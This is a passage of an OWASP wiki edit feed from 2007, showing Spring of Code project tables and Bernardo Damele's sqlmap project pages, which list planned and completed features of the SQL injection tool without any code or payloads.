I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=19909</id>
		<title>OWASP Spring Of Code 2007 - Projects</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=19909"/>
				<updated>2007-07-16T08:12:35Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== All SpoC Projects ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; WIDTH=100%&lt;br /&gt;
|-&lt;br /&gt;
! SpoC Project Name&lt;br /&gt;
! Author&lt;br /&gt;
! Confirmed&lt;br /&gt;
! Status&lt;br /&gt;
! Coordinated by &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The OWASP Web Security Certification Framework|The OWASP Web Security Certification Framework]]&lt;br /&gt;
| Mark Curphey&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - SqlMap|SqlMap]]&lt;br /&gt;
| Bernardo Damele&lt;br /&gt;
| Yes&lt;br /&gt;
| 60% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Site Generator|OWASP Site Generator]]&lt;br /&gt;
| Boris&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Report Generator]]&lt;br /&gt;
| Boris&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Tiger]]&lt;br /&gt;
| Boris&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Attacks Reference Guide|Attacks Reference Guide]]&lt;br /&gt;
| NSRAV Security Research Group&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The Scholastic Application Security Assessment Project|The Scholastic Application Security Assessment Project]]&lt;br /&gt;
| Eric Sheridan and &lt;br /&gt;
Dr. Goran Trajkovski&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Inspekt|Inspekt: Input filtering and validation library for PHP]]&lt;br /&gt;
| Ed Finkler&lt;br /&gt;
| Yes&lt;br /&gt;
| 50% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Code review Project|Code review Project]]&lt;br /&gt;
| Eoin Keary&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Certification Project|OWASP Certification Project]]&lt;br /&gt;
| Matteo Meucci&lt;br /&gt;
| No&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Education Project|OWASP Education Project]]&lt;br /&gt;
| Sebastien Deleersnyder&lt;br /&gt;
| Yes&lt;br /&gt;
| 30% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP The Anti-Samy Project|OWASP The Anti-Samy Project]]&lt;br /&gt;
| Arshan Dabirsiaghi&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Security throughout the SDLC|Security throughout the SDLC]]&lt;br /&gt;
| Keith Casey&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WebGoat Solutions Guide|OWASP WebGoat Solutions Guide]]&lt;br /&gt;
| Erwin Geirnaert&lt;br /&gt;
| Yes&lt;br /&gt;
| 90% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WeBekci Project|OWASP WeBekci Project]]&lt;br /&gt;
| Bunyamin Demir&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Python Tainted Mode|Python Tainted Mode]]&lt;br /&gt;
| Denis&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - WebScarab NG Security Test Automation|WebScarab NG Security Test Automation]]&lt;br /&gt;
| Darren Edmonds&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Refresh Attacks list|Refresh Attacks list]]&lt;br /&gt;
| Przemyslaw 'rezos' Skowron&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Best Practices &amp;amp; Countermeasures|Best Practices &amp;amp; Countermeasures]]&lt;br /&gt;
| Jim&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Brand|OWASP brand]]&lt;br /&gt;
| Paulo Coimbra&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Web Application Security put into practice|Web Application Security put into practice]]&lt;br /&gt;
| Heiko Webers&lt;br /&gt;
| Yes&lt;br /&gt;
| 60% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP JBroFuzz Project|OWASP JBroFuzz Project]]&lt;br /&gt;
| Subere&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Owasp Orizon Project|Owasp Orizon Project]]&lt;br /&gt;
| Paolo Perego&lt;br /&gt;
| Yes&lt;br /&gt;
| 15% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Enigform: Firefox Addon for OpenPGP signing of HTTP requests|Enigform: Firefox Addon for OpenPGP signing of HTTP requests]]&lt;br /&gt;
| Arturo (Buanzo) Busleiman&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Education Project|OWASP LiveCD Education Project]]&lt;br /&gt;
| Josh Sweeney&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Java Project|OWASP Java Project]]&lt;br /&gt;
| Erwin Geirnaert&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Project|OWASP LiveCD Project]]&lt;br /&gt;
| Joshua Perrymon&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Interim @ Aspect Offices|Interim @ Aspect Offices]]&lt;br /&gt;
| Andy Gocke&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - 10x 1000USD to FOSS projects we all use |10x 1000USD to FOSS projects we all use ]]&lt;br /&gt;
| (tbd)&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Help with SpoC project management|Help with SpoC project management]]&lt;br /&gt;
| Paulo Coimbra&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19908</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=19908"/>
				<updated>2007-07-16T08:10:29Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Accomplished objectives at 12nd of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* Added support to extract database users password hash on MySQL and PostgreSQL - 100%&lt;br /&gt;
* Extended inband SQL injection functionality to all other possible queries - 100%&lt;br /&gt;
* Added Microsoft SQL Server database fingerprint - 100%&lt;br /&gt;
* Added support for query ETA (Estimated Time of Arrival) real time calculation - 100%&lt;br /&gt;
* Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions - 100%&lt;br /&gt;
* Improved logging functionality - 100%&lt;br /&gt;
&lt;br /&gt;
==== TODO objectives at 12nd of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system - 10%&lt;br /&gt;
* Add support to extract database users password hash on Microsoft SQL Server - 10%&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting - 40%&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers - 0%&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19907</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19907"/>
				<updated>2007-07-16T08:10:19Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 60% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of this project is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=19776</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=19776"/>
				<updated>2007-07-12T11:05:59Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: New page: ==== Who I am ====  My name is Bernardo, I am originally from Rio de Janeiro (Brazil). I have good python programming skills and some years of experience in computer networks security. I s...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Who I am ====&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo, I am originally from Rio de Janeiro (Brazil). I have good python programming skills and some years of experience in computer networks security. I spent most of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
* My [http://www.hospitalityclub.org/~inquis/ homepage]&lt;br /&gt;
* My [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* My [mailto:bernardo.damele@gmail.com email address]&lt;br /&gt;
* My [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap sqlmap application] to the [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007] and its [http://www.owasp.org/index.php/SpoC_007_-_SqlMap OWASP page]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19775</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=19775"/>
				<updated>2007-07-12T10:47:16Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''SpoC Candidate''': [[User:inquis|Bernardo Damele]]&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 60% Complete &lt;br /&gt;
&lt;br /&gt;
=== Project Overview ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of this project is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Project Progress ===&lt;br /&gt;
&lt;br /&gt;
==== Accomplished objectives at 12nd of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* Added support to extract database users password hash on MySQL and PostgreSQL - 100%&lt;br /&gt;
* Extended inband SQL injection functionality to all other possible queries - 100%&lt;br /&gt;
* Added Microsoft SQL Server database fingerprint - 100%&lt;br /&gt;
* Added support for query ETA (Estimated Time of Arrival) real time calculation - 100%&lt;br /&gt;
* Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions -100%&lt;br /&gt;
* Improved logging functionality - 100%&lt;br /&gt;
&lt;br /&gt;
==== TODO objectives at 12nd of July 2007 ====&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system - 10%&lt;br /&gt;
* Add support to extract database users password hash on Microsoft SQL Server - 10%&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting - 40%&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers - 0%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=19774</id>
		<title>OWASP Spring Of Code 2007 - Projects</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_-_Projects&amp;diff=19774"/>
				<updated>2007-07-12T10:12:05Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== All SpoC Projects. ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; WIDTH=100%&lt;br /&gt;
|-&lt;br /&gt;
! SpoC Project Name&lt;br /&gt;
! Author&lt;br /&gt;
! Confirmed&lt;br /&gt;
! Status&lt;br /&gt;
! Coordinated by &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The OWASP Web Security Certification Framework|The OWASP Web Security Certification Framework]]&lt;br /&gt;
| Mark Curphey&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - SqlMap|SqlMap]]&lt;br /&gt;
| Bernardo Damele&lt;br /&gt;
| Yes&lt;br /&gt;
| 60% &lt;br /&gt;
| Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Site Generator|OWASP Site Generator]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Attacks Reference Guide|Attacks Reference Guide]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - The Scholastic Application Security Assessment Project|The Scholastic Application Security Assessment Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - A comprehensive input retrieval/filtering system for PHP|A comprehensive input retrieval/filtering system for PHP]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Code review Project|Code review Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Certification Project|OWASP Certification Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Education Project|OWASP Education Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP The Anti-Samy Project|OWASP The Anti-Samy Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Security throughout the SDLC|Security throughout the SDLC]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WebGoat Solutions Guide|OWASP WebGoat Solutions Guide]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP WeBekci Project|OWASP WeBekci Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Python Tainted Mode|Python Tainted Mode]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - WebScarab NG Security Test Automation|WebScarab NG Security Test Automation]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Refresh Attacks list|Refresh Attacks list]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Best Practices &amp;amp; Countermeasures|Best Practices &amp;amp; Countermeasures]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Brand|OWASP brand]]&lt;br /&gt;
| Paulo Coimbra&lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Web Application Security put into practice|Web Application Security put into practice]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP JBroFuzz Project|OWASP JBroFuzz Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Owasp Orizon Project|Owasp Orizon Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Enigform: Firefox Addon for OpenPGP signing of HTTP requests|Enigform: Firefox Addon for OpenPGP signing of HTTP requests]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Education Project|OWASP LiveCD Education Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP Java Project|OWASP Java Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Help with SpoC project management|Help with SpoC project management]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - OWASP LiveCD Project|OWASP LiveCD Project]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - Interim @ Aspect Offices|Interim @ Aspect Offices]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
! [[SpoC 007 - 10x 1000USD to FOSS projects we all use |10x 1000USD to FOSS projects we all use ]]&lt;br /&gt;
| &lt;br /&gt;
| Yes&lt;br /&gt;
| 0% &lt;br /&gt;
| TBA&lt;br /&gt;
&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17567</id>
		<title>OWASP Spring Of Code 2007 Applications</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17567"/>
				<updated>2007-03-30T14:09:00Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains project Applications to the [[OWASP_Spring_Of_Code_2007]]&lt;br /&gt;
&lt;br /&gt;
'''If you want to apply for a SpoC 007 sponsorship you HAVE TO USE THIS PAGE for your application'''&lt;br /&gt;
&lt;br /&gt;
See [[OWASP_Spring_Of_Code_2007#How_To_Participate]] for what do to one you completed your Application&lt;br /&gt;
&lt;br /&gt;
---------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proposed template:''' {for longer proposals, in addition to these details you can create a PDF}:&lt;br /&gt;
&lt;br /&gt;
== {Your first name or Alias} - {Project name} ==&lt;br /&gt;
Please remember that projects will be selected and funded based on how well they meet the [[OWASP_Spring_Of_Code_2007_:_Selection|Selection Criteria]].&lt;br /&gt;
&lt;br /&gt;
You can propose your project in any form you wish, but the best proposals will be well thought out, clear and concise, and reflective of your passion for the topic.  We strongly suggest that you include the following information in your proposal.&lt;br /&gt;
&lt;br /&gt;
* Your educational and professional background&lt;br /&gt;
&lt;br /&gt;
* Application security experience and accomplishments&lt;br /&gt;
&lt;br /&gt;
* Participation and leadership in open communities&lt;br /&gt;
&lt;br /&gt;
* The opportunity, challenges, issues or need your proposal addresses&lt;br /&gt;
&lt;br /&gt;
* Objectives or ways in which you will meet the goal(s)&lt;br /&gt;
&lt;br /&gt;
